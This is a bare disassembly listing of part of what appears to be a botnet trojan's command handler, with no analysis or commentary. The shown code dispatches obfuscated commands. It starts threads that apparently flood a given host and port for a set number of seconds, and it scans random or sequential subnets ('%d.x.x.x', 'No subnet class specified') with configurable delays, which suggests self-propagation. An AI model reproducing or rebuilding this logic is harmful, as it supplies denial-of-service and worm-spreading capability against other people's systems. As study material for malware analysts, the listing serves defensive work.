push 7Fh
mov [ebp+var_1F1C], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1F18]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1D94], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_1D90], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp eax, 1
mov [ebp+var_1D8C], eax
jge short loc_413CBB
mov edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
loc_413CB1: ; CODE XREF: sub_40A938+6F4Aj
; sub_40A938+7476j ...
mov ebx, offset aSNoDelay_ ; "%s No delay."
jmp loc_40D1DB
; ---------------------------------------------------------------------------
loc_413CBB: ; CODE XREF: sub_40A938+9372j
push 7Fh
lea eax, [ebp+var_1E98]
push dword ptr [ebx]
push eax
call sub_429C40
xor eax, eax
cmp [ebp+arg_60], eax
setnz al
mov [ebp+var_1D88], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 10h
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
push offset aSSDForDSecs__0 ; "%s --> (%s:%d) for %d secs."
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1D98], eax
push dword ptr [ebx]
push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
call edi ; dword_437174
test eax, eax
jz short loc_413D44
push dword ptr [ebx]
push offset a6x7zf1eztny_ ; "6x7zf1EztnY."
call edi ; dword_437174
test eax, eax
jz short loc_413D44
push dword ptr [ebx]
push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
call edi ; dword_437174
test eax, eax
jz short loc_413D44
push dword ptr [ebx]
push offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
loc_413D44: ; CODE XREF: sub_40A938+93DFj
; sub_40A938+93ECj ...
lea eax, [ebp+arg_0]
xor ebx, ebx
push eax
lea eax, [ebp+var_1F1C]
push ebx
push eax
push offset sub_422D47
push ebx
push ebx
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1D98]
mov edi, offset aSSD_ ; "%s %s (%d)."
imul ecx, 2724h
cmp eax, ebx
mov ebx, dword_43716C
mov dword_46D70C[ecx], eax
jnz short loc_413DC7
cmp [ebp+arg_14], 0
jnz short loc_413DA8
cmp [ebp+arg_18], 0
jnz short loc_413DB2
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_413DA8: ; CODE XREF: sub_40A938+944Cj
; sub_40A938+9498j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_413DB2: ; CODE XREF: sub_40A938+9452j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_413C2C
; ---------------------------------------------------------------------------
loc_413DBF: ; CODE XREF: sub_40A938+9496j
push 32h
call dword_43718C ; Sleep
loc_413DC7: ; CODE XREF: sub_40A938+9446j
cmp [ebp+var_1D7C], 0
jz short loc_413DBF
jmp short loc_413DA8
; ---------------------------------------------------------------------------
loc_413DD2: ; CODE XREF: sub_40A938+9289j
; sub_40A938+9292j ...
mov edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
jmp loc_414695
; ---------------------------------------------------------------------------
loc_413DDC: ; CODE XREF: sub_40A938+6435j
; sub_40A938+6446j ...
xor eax, eax
cmp [ebx+4], eax
jz loc_414690
cmp [ebx+8], eax
jz loc_414690
cmp [ebx+0Ch], eax
jz loc_414690
push 8
call sub_423737
push dword ptr [ebx+4]
mov [ebp+arg_C], eax
call sub_42A030
add eax, [ebp+arg_C]
pop ecx
pop ecx
cmp eax, 1C2h
jle short loc_413E5A
loc_413E17: ; CODE XREF: sub_40A938+5EAEj
xor ebx, ebx
mov edi, offset aSSD_ ; "%s %s (%d)."
cmp [ebp+arg_14], ebx
jnz short loc_413E44
cmp [ebp+arg_18], ebx
jnz short loc_413E4D
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_413E44: ; CODE XREF: sub_40A938+94E9j
cmp [ebp+arg_18], ebx
jz loc_4148CF
loc_413E4D: ; CODE XREF: sub_40A938+94EEj
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
jmp loc_410C8D
; ---------------------------------------------------------------------------
loc_413E5A: ; CODE XREF: sub_40A938+94DDj
push dword ptr [ebx]
xor eax, eax
mov [ebp+var_4], eax
mov [ebp+var_1C], eax
push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
mov [ebp+var_28], eax
mov dword ptr [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov dword ptr [ebp+var_C+4], eax
call edi ; dword_437174
test eax, eax
jnz short loc_413E90
mov eax, dword_43A8C8
mov [ebp+var_4], 1
mov [ebp+arg_8], eax
loc_413E90: ; CODE XREF: sub_40A938+9547j
push dword ptr [ebx]
push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
call edi ; dword_437174
test eax, eax
jnz short loc_413EAC
mov eax, dword_43A8CC
mov [ebp+var_1C], 1
mov [ebp+arg_8], eax
loc_413EAC: ; CODE XREF: sub_40A938+9563j
push dword ptr [ebx]
push offset a8im6i__c829_ ; "8Im6i..C829."
call edi ; dword_437174
test eax, eax
jnz short loc_413EC8
mov eax, dword_43A8D0
mov [ebp+var_28], 1
mov [ebp+arg_8], eax
loc_413EC8: ; CODE XREF: sub_40A938+957Fj
push dword ptr [ebx]
push offset aTiyj208fhvn_ ; "tIYj208FHvN."
call edi ; dword_437174
test eax, eax
jnz short loc_413EE4
mov eax, dword_43A8D4
mov dword ptr [ebp+var_14], 1
mov [ebp+arg_8], eax
loc_413EE4: ; CODE XREF: sub_40A938+959Bj
push dword ptr [ebx]
push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
call edi ; dword_437174
test eax, eax
jnz short loc_413F00
mov eax, dword_43A8D8
mov [ebp+var_24], 1
mov [ebp+arg_8], eax
loc_413F00: ; CODE XREF: sub_40A938+95B7j
push dword ptr [ebx]
push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
call edi ; dword_437174
test eax, eax
jnz short loc_413F1C
mov eax, dword_43A8DC
mov [ebp+var_18], 1
mov [ebp+arg_8], eax
loc_413F1C: ; CODE XREF: sub_40A938+95D3j
push dword ptr [ebx]
push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
call edi ; dword_437174
test eax, eax
jnz short loc_413F38
mov eax, dword_43A8E0
mov [ebp+var_20], 1
mov [ebp+arg_8], eax
loc_413F38: ; CODE XREF: sub_40A938+95EFj
push dword ptr [ebx]
push offset aFu6k10irsc1 ; "fu6k10iRsc/1"
call edi ; dword_437174
test eax, eax
jnz short loc_413F54
mov eax, dword_43A8E4
mov dword ptr [ebp+var_C+4], 1
mov [ebp+arg_8], eax
loc_413F54: ; CODE XREF: sub_40A938+960Bj
push 8
call sub_423737
push dword ptr [ebx+4]
mov [ebp+arg_C], eax
call sub_42A030
add eax, [ebp+arg_C]
pop ecx
pop ecx
mov edi, offset aSSD_ ; "%s %s (%d)."
cmp eax, 1C2h
jle short loc_413FC0
cmp [ebp+arg_14], 0
jnz short loc_413F9F
cmp [ebp+arg_18], 0
jnz short loc_413FA5
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_413F9F: ; CODE XREF: sub_40A938+9643j
cmp [ebp+arg_18], 0
jz short loc_413FC0
loc_413FA5: ; CODE XREF: sub_40A938+9649j
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 18h
loc_413FC0: ; CODE XREF: sub_40A938+963Dj
; sub_40A938+966Bj
and [ebp+arg_68], 0
cmp [ebp+arg_8], 0
jle loc_4148CF
loc_413FCE: ; CODE XREF: sub_40A938+9C32j
push dword ptr [ebx+4]
call sub_42A030
cdq
idiv [ebp+arg_8]
mov [ebp+var_BC], eax
push dword ptr [ebx+4]
call sub_42A030
cdq
idiv [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 64h
jle short loc_413FFD
mov [ebp+var_BC], 64h
loc_413FFD: ; CODE XREF: sub_40A938+96B9j
push dword ptr [ebx+8]
call sub_42A030
cmp eax, 1
pop ecx
mov [ebp+var_D0], eax
jnb short loc_41401A
xor eax, eax
inc eax
mov [ebp+var_D0], eax
loc_41401A: ; CODE XREF: sub_40A938+96D7j
push 3
pop ecx
cmp eax, ecx
jbe short loc_414027
mov [ebp+var_D0], ecx
loc_414027: ; CODE XREF: sub_40A938+96E7j
push dword ptr [ebx+0Ch]
call sub_42A030
cmp eax, 270Fh
pop ecx
mov [ebp+var_CC], eax
jbe short loc_414047
mov [ebp+var_CC], 270Fh
loc_414047: ; CODE XREF: sub_40A938+9703j
mov eax, [ebp+arg_14]
or [ebp+var_B8], 0FFFFFFFFh
and [ebp+arg_C], 0
cmp dword_43A378, 0
mov dword_454A28, eax
mov eax, [ebp+arg_20]
mov dword_454A2C, eax
mov eax, [ebp+arg_18]
mov dword_454A30, eax
jz loc_4141B6
mov [ebp+arg_4], offset aD1 ; "d1"
loc_41407E: ; CODE XREF: sub_40A938+985Cj
cmp [ebp+var_4], 0
jz short loc_4140A1
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A7C8
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_41419C
loc_4140A1: ; CODE XREF: sub_40A938+974Aj
cmp [ebp+var_1C], 0
jz short loc_4140C4
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A7E8
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_41419C
loc_4140C4: ; CODE XREF: sub_40A938+976Dj
cmp [ebp+var_28], 0
jz short loc_4140E7
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A808
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_41419C
loc_4140E7: ; CODE XREF: sub_40A938+9790j
cmp dword ptr [ebp+var_14], 0
jz short loc_41410A
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A828
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_41419C
loc_41410A: ; CODE XREF: sub_40A938+97B3j
cmp [ebp+var_24], 0
jz short loc_414129
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A848
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41419C
loc_414129: ; CODE XREF: sub_40A938+97D6j
cmp [ebp+var_18], 0
jz short loc_414148
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A868
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41419C
loc_414148: ; CODE XREF: sub_40A938+97F5j
cmp [ebp+var_20], 0
jz short loc_414167
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A888
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41419C
loc_414167: ; CODE XREF: sub_40A938+9814j
cmp dword ptr [ebp+var_C+4], 0
jz short loc_414186
mov eax, [ebp+arg_68]
shl eax, 4
add eax, offset dword_43A8A8
push eax
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41419C
loc_414186: ; CODE XREF: sub_40A938+9833j
add [ebp+arg_4], 40h
inc [ebp+arg_C]
mov eax, [ebp+arg_4]
cmp dword ptr [eax+30h], 0
jnz loc_41407E
jmp short loc_4141B6
; ---------------------------------------------------------------------------
loc_41419C: ; CODE XREF: sub_40A938+9763j
; sub_40A938+9786j ...
mov eax, [ebp+arg_C]
mov ecx, eax
mov [ebp+var_B8], eax
shl ecx, 6
mov ecx, dword_43A378[ecx]
mov [ebp+var_D4], ecx
loc_4141B6: ; CODE XREF: sub_40A938+9739j
; sub_40A938+9862j
xor ecx, ecx
cmp [ebp+var_D4], ecx
jnz short loc_414208
cmp [ebp+arg_14], ecx
jnz short loc_4141E2
cmp [ebp+arg_18], ecx
jnz short loc_4141EC
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset aSInvalidPort_ ; "%s Invalid port."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_4141E2: ; CODE XREF: sub_40A938+988Bj
cmp [ebp+arg_18], 0
jz loc_414561
loc_4141EC: ; CODE XREF: sub_40A938+9890j
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset aSPortInvalid_ ; "%s Port invalid."
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
jmp loc_414561
; ---------------------------------------------------------------------------
loc_414208: ; CODE XREF: sub_40A938+9886j
mov eax, [ebx+10h]
cmp eax, ecx
jz loc_41429A
push eax
push offset aX_x_x_x ; "x.x.x.x"
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_41426B
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
loc_414230: ; CODE XREF: sub_40A938+990Bj
call sub_429ACC
cdq
mov ecx, 0DCh
idiv ecx
add edx, 4
cmp edx, 7Fh
jz short loc_414230
push edx
push offset aD_x_x_x ; "%d.x.x.x"
lea eax, [ebp+var_164]
push 10h
push eax
call sub_429AEE
add esp, 10h
loc_41425C: ; CODE XREF: sub_40A938+9ADDj
; sub_40A938+9AE5j ...
mov [ebp+var_A8], 1
jmp loc_41444E
; ---------------------------------------------------------------------------
loc_41426B: ; CODE XREF: sub_40A938+98E9j
push dword ptr [ebx+10h]
lea eax, [ebp+var_164]
push 10h
push eax
call sub_429AEE
push 78h
push dword ptr [ebx+10h]
call sub_42B0D0
add esp, 14h
neg eax
sbb eax, eax
neg eax
loc_41428F: ; CODE XREF: sub_40A938+9A5Bj
mov [ebp+var_A8], eax
jmp loc_41444E
; ---------------------------------------------------------------------------
loc_41429A: ; CODE XREF: sub_40A938+98D5j
cmp [ebp+arg_64], ecx
jnz short loc_4142EB
cmp [ebp+arg_54], ecx
jnz short loc_4142B7
cmp [ebp+arg_58], ecx
jnz short loc_4142B7
cmp [ebp+arg_5C], ecx
jnz short loc_4142B7
cmp [ebp+arg_60], ecx
jz loc_414644
loc_4142B7: ; CODE XREF: sub_40A938+996Aj
; sub_40A938+996Fj ...
mov ecx, [ebp+arg_10]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_80]
push eax
mov [ebp+var_40], 10h
call sub_41DAA2
push eax
call dword_456E98 ; getsockname
cmp [ebp+arg_54], 0
jz loc_414398
and [ebp+var_7C], 0FFh
jmp loc_4143AF
; ---------------------------------------------------------------------------
loc_4142EB: ; CODE XREF: sub_40A938+9965j
cmp [ebp+arg_54], ecx
jz short loc_4142F9
mov [ebp+arg_C], 1
jmp short loc_414317
; ---------------------------------------------------------------------------
loc_4142F9: ; CODE XREF: sub_40A938+99B6j
cmp [ebp+arg_58], ecx
jz short loc_414307
mov [ebp+arg_C], 2
jmp short loc_414317
; ---------------------------------------------------------------------------
loc_414307: ; CODE XREF: sub_40A938+99C4j
cmp [ebp+arg_5C], ecx
jz loc_41464B
mov [ebp+arg_C], 3
loc_414317: ; CODE XREF: sub_40A938+99BFj
; sub_40A938+99CDj
push offset byte_454A34
push offset dword_457C20
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_41433A
push offset dword_457C20
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_414363
loc_41433A: ; CODE XREF: sub_40A938+99F1j
mov ecx, [ebp+arg_10]
call sub_41DA92
mov ecx, [ebp+arg_10]
push eax
call sub_41CE5F
push 2710h
push eax
mov [ebp+arg_4], eax
call dword_43707C ; WaitForSingleObject
push [ebp+arg_4]
call dword_437044 ; CloseHandle
loc_414363: ; CODE XREF: sub_40A938+9A00j
push [ebp+arg_C]
push [ebp+arg_60]
push offset dword_457C20
call sub_401F44
add esp, 0Ch
test eax, eax
jz loc_4148CF
push 10h
push eax
lea eax, [ebp+var_164]
push eax
call sub_429C40
mov eax, [ebp+arg_60]
add esp, 0Ch
jmp loc_41428F
; ---------------------------------------------------------------------------
loc_414398: ; CODE XREF: sub_40A938+99A1j
cmp [ebp+arg_58], 0
jz short loc_4143A5
and word ptr [ebp+var_7C+2], 0
jmp short loc_4143AF
; ---------------------------------------------------------------------------
loc_4143A5: ; CODE XREF: sub_40A938+9A64j
cmp [ebp+arg_5C], 0
jz short loc_4143AF
and byte ptr [ebp+var_7C+3], 0
loc_4143AF: ; CODE XREF: sub_40A938+99AEj
; sub_40A938+9A6Bj ...
push 10h
push [ebp+var_7C]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_164]
push eax
call sub_429C40
add esp, 0Ch
cmp [ebp+arg_60], 0
jz short loc_414447
xor eax, eax
cmp [ebp+arg_54], eax
mov [ebp+arg_4], eax
jz short loc_4143E3
mov [ebp+arg_4], 3
jmp short loc_4143FD
; ---------------------------------------------------------------------------
loc_4143E3: ; CODE XREF: sub_40A938+9AA0j
cmp [ebp+arg_58], eax
jz short loc_4143F1
mov [ebp+arg_4], 2
jmp short loc_4143FD
; ---------------------------------------------------------------------------
loc_4143F1: ; CODE XREF: sub_40A938+9AAEj
cmp [ebp+arg_5C], eax
jz short loc_4143FD
mov [ebp+arg_4], 1
loc_4143FD: ; CODE XREF: sub_40A938+9AA9j
; sub_40A938+9AB7j ...
lea eax, [ebp+var_164]
push 30h
push eax
call sub_42AF90
and byte ptr [ebp+arg_C+3], 0
cmp [ebp+arg_4], 0
pop ecx
pop ecx
jle loc_41425C
loc_41441B: ; CODE XREF: sub_40A938+9B08j
test eax, eax
jz loc_41425C
mov byte ptr [eax], 78h
lea eax, [ebp+var_164]
push 30h
push eax
call sub_42AF90
inc byte ptr [ebp+arg_C+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_C+3]
cmp ecx, [ebp+arg_4]
jl short loc_41441B
jmp loc_41425C
; ---------------------------------------------------------------------------
loc_414447: ; CODE XREF: sub_40A938+9A96j
and [ebp+var_A8], 0
loc_41444E: ; CODE XREF: sub_40A938+992Ej
; sub_40A938+995Dj
mov eax, [ebp+arg_14]
mov ecx, [ebp+arg_10]
mov [ebp+var_B4], eax
mov eax, [ebp+arg_20]
mov [ebp+var_AC], eax
mov eax, [ebp+arg_18]
mov [ebp+var_B0], eax
mov [ebp+var_9C], ecx
test eax, eax
lea eax, [ebp+var_154]
jz short loc_414483
push offset dword_443EF4
jmp short loc_414488
; ---------------------------------------------------------------------------
loc_414483: ; CODE XREF: sub_40A938+9B42j
push offset dword_443EFC
loc_414488: ; CODE XREF: sub_40A938+9B49j
push eax
call dword_4370A4 ; lstrcpyA
cmp [ebp+var_A8], 0
mov eax, offset aRandom ; "Random"
jnz short loc_4144A2
mov eax, offset aSequential ; "Sequential"
loc_4144A2: ; CODE XREF: sub_40A938+9B63j
push [ebp+var_BC]
lea ecx, [ebp+var_164]
push [ebp+var_CC]
push [ebp+var_D0]
push [ebp+var_D4]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"...
push 8
call sub_4233DE
add esp, 28h
mov [ebp+var_C8], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_164]
push eax
xor eax, eax
push eax
push ecx
push offset sub_40242A
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_C8]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_41457D
cmp [ebp+arg_14], eax
jnz short loc_41453C
cmp [ebp+arg_18], eax
jnz short loc_414542
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41453C: ; CODE XREF: sub_40A938+9BDDj
cmp [ebp+arg_18], 0
jz short loc_414561
loc_414542: ; CODE XREF: sub_40A938+9BE2j
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 18h
loc_414561: ; CODE XREF: sub_40A938+98AEj
; sub_40A938+98CBj ...
inc [ebp+arg_68]
mov eax, [ebp+arg_68]
cmp eax, [ebp+arg_8]
jl loc_413FCE
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_414575: ; CODE XREF: sub_40A938+9C4Cj
push 32h
call dword_43718C ; Sleep
loc_41457D: ; CODE XREF: sub_40A938+9BD8j
cmp [ebp+var_A4], 0
jz short loc_414575
xor eax, eax
cmp [ebp+arg_14], eax
jnz short loc_4145E6
cmp [ebp+arg_18], eax
jnz short loc_4145F0
cmp [ebp+arg_1C], eax
jnz short loc_414561
cmp [ebp+var_A8], eax
mov eax, offset aRandom ; "Random"
jnz short loc_4145A9
mov eax, offset aSequential ; "Sequential"
loc_4145A9: ; CODE XREF: sub_40A938+9C6Aj
push [ebp+var_BC]
lea ecx, [ebp+var_164]
push [ebp+var_CC]
push [ebp+var_D0]
push [ebp+var_D4]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"...
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 2Ch
loc_4145E6: ; CODE XREF: sub_40A938+9C53j
cmp [ebp+arg_18], 0
jz loc_414561
loc_4145F0: ; CODE XREF: sub_40A938+9C58j
cmp [ebp+var_A8], 0
mov eax, offset aRandom ; "Random"
jnz short loc_414603
mov eax, offset aSequential ; "Sequential"
loc_414603: ; CODE XREF: sub_40A938+9CC4j
push [ebp+var_BC]
lea ecx, [ebp+var_164]
push [ebp+var_CC]
push [ebp+var_D0]
push [ebp+var_D4]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"...
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 2Ch
jmp loc_414561
; ---------------------------------------------------------------------------
loc_414644: ; CODE XREF: sub_40A938+9979j
mov edi, offset aSNoIpSpecified ; "%s No IP specified."
jmp short loc_414650
; ---------------------------------------------------------------------------
loc_41464B: ; CODE XREF: sub_40A938+99D2j
mov edi, offset aSNoSubnetCla_0 ; "%s No subnet class specified"
loc_414650: ; CODE XREF: sub_40A938+9D11j
cmp [ebp+arg_14], ecx
jnz short loc_41466E
cmp [ebp+arg_18], ecx
jnz short loc_414678
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_41466E: ; CODE XREF: sub_40A938+9D1Bj
cmp [ebp+arg_18], 0
loc_414672: ; CODE XREF: sub_40A938+5FC5j
jz loc_4148CF
loc_414678: ; CODE XREF: sub_40A938+5FA6j
; sub_40A938+9D20j
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
loc_41467D: ; CODE XREF: sub_40A938+C69j
; sub_40A938+4658j
push edi
loc_41467E: ; CODE XREF: sub_40A938+2775j
; sub_40A938+28CBj ...
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
loc_414688: ; CODE XREF: sub_40A938+55Bj
; sub_40A938+5E3Fj
add esp, 10h
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_40A938+5E71j
; sub_40A938+5E7Aj ...
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
loc_414695: ; CODE XREF: sub_40A938+927Fj
; sub_40A938+949Fj
cmp [ebp+arg_14], eax
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_4146BB
cmp [ebp+arg_18], eax
jnz short loc_4146C4
push ebx
push edi
push offset aSS_1 ; "%s %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
xor eax, eax
loc_4146BB: ; CODE XREF: sub_40A938+9D65j
cmp [ebp+arg_18], eax
loc_4146BE: ; CODE XREF: sub_40A938+1540j
jz loc_4148CF
loc_4146C4: ; CODE XREF: sub_40A938:loc_40BE59j
; sub_40A938+9D6Aj
push ebx
push edi
loc_4146C6: ; CODE XREF: sub_40A938+51F0j
push offset aSS_1 ; "%s %s"
loc_4146CB: ; CODE XREF: sub_40A938+6FEj
; sub_40A938+1E94j ...
push dword ptr [esi]
loc_4146CD: ; CODE XREF: sub_40A938+466j
; sub_40A938+1C0Cj
push [ebp+arg_10]
call sub_41CD0E
loc_4146D5: ; CODE XREF: sub_40A938+158j
; sub_40A938+280Fj ...
add esp, 14h
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4146DD: ; CODE XREF: sub_40A938+1D14j
; sub_40A938+1D25j
push dword ptr [ebx]
push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
call edi ; dword_437174
mov ebx, eax
push 3
neg ebx
sbb ebx, ebx
inc ebx
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_414740
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_414728
cmp [ebp+arg_18], 0
jnz short loc_414732
push eax
push ebx
push offset aFfec81uznt81 ; "fFEC81UzNT81"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_414728: ; CODE XREF: sub_40A938+9DD2j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_414732: ; CODE XREF: sub_40A938+9DD8j
push [ebp+arg_C]
push ebx
push offset aFfec81uznt81 ; "fFEC81UzNT81"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_414740: ; CODE XREF: sub_40A938+9DC2j
mov eax, [ebp+arg_14]
mov [ebp+var_DA0], eax
mov eax, [ebp+arg_20]
mov [ebp+var_DA4], eax
push dword ptr [esi+0Ch]
lea eax, [ebp+var_E50]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
xor edi, edi
cmp ebx, edi
mov [ebp+var_E54], eax
mov [ebp+var_DC0], ebx
mov [ebp+var_DBC], edi
mov ecx, offset aSecure ; "Secure"
jnz short loc_4147D4
mov ecx, offset aUnsecure ; "Unsecure"
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_41478C: ; CODE XREF: sub_40A938+9EA1j
push ecx
push eax
push offset aSS_ ; "%s %s."
push 3
call sub_4233DE
add esp, 10h
mov [ebp+var_DD0], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_E54]
push edi
push eax
push offset sub_421F40
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_DD0]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz short loc_4147F0
jmp short loc_4147E3
; ---------------------------------------------------------------------------
loc_4147D4: ; CODE XREF: sub_40A938+9E48j
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jmp short loc_41478C
; ---------------------------------------------------------------------------
loc_4147DB: ; CODE XREF: sub_40A938+9EB1j
push 32h
call dword_43718C ; Sleep
loc_4147E3: ; CODE XREF: sub_40A938+9E9Aj
cmp [ebp+var_D98], edi
jz short loc_4147DB
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4147F0: ; CODE XREF: sub_40A938+9E98j
cmp [ebp+arg_14], 0
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_414831
cmp [ebp+arg_18], 0
jnz short loc_41483B
test ebx, ebx
mov [ebp+arg_C], offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_414813
mov [ebp+arg_C], offset aJvatg1988z81 ; "jVATg1988z81"
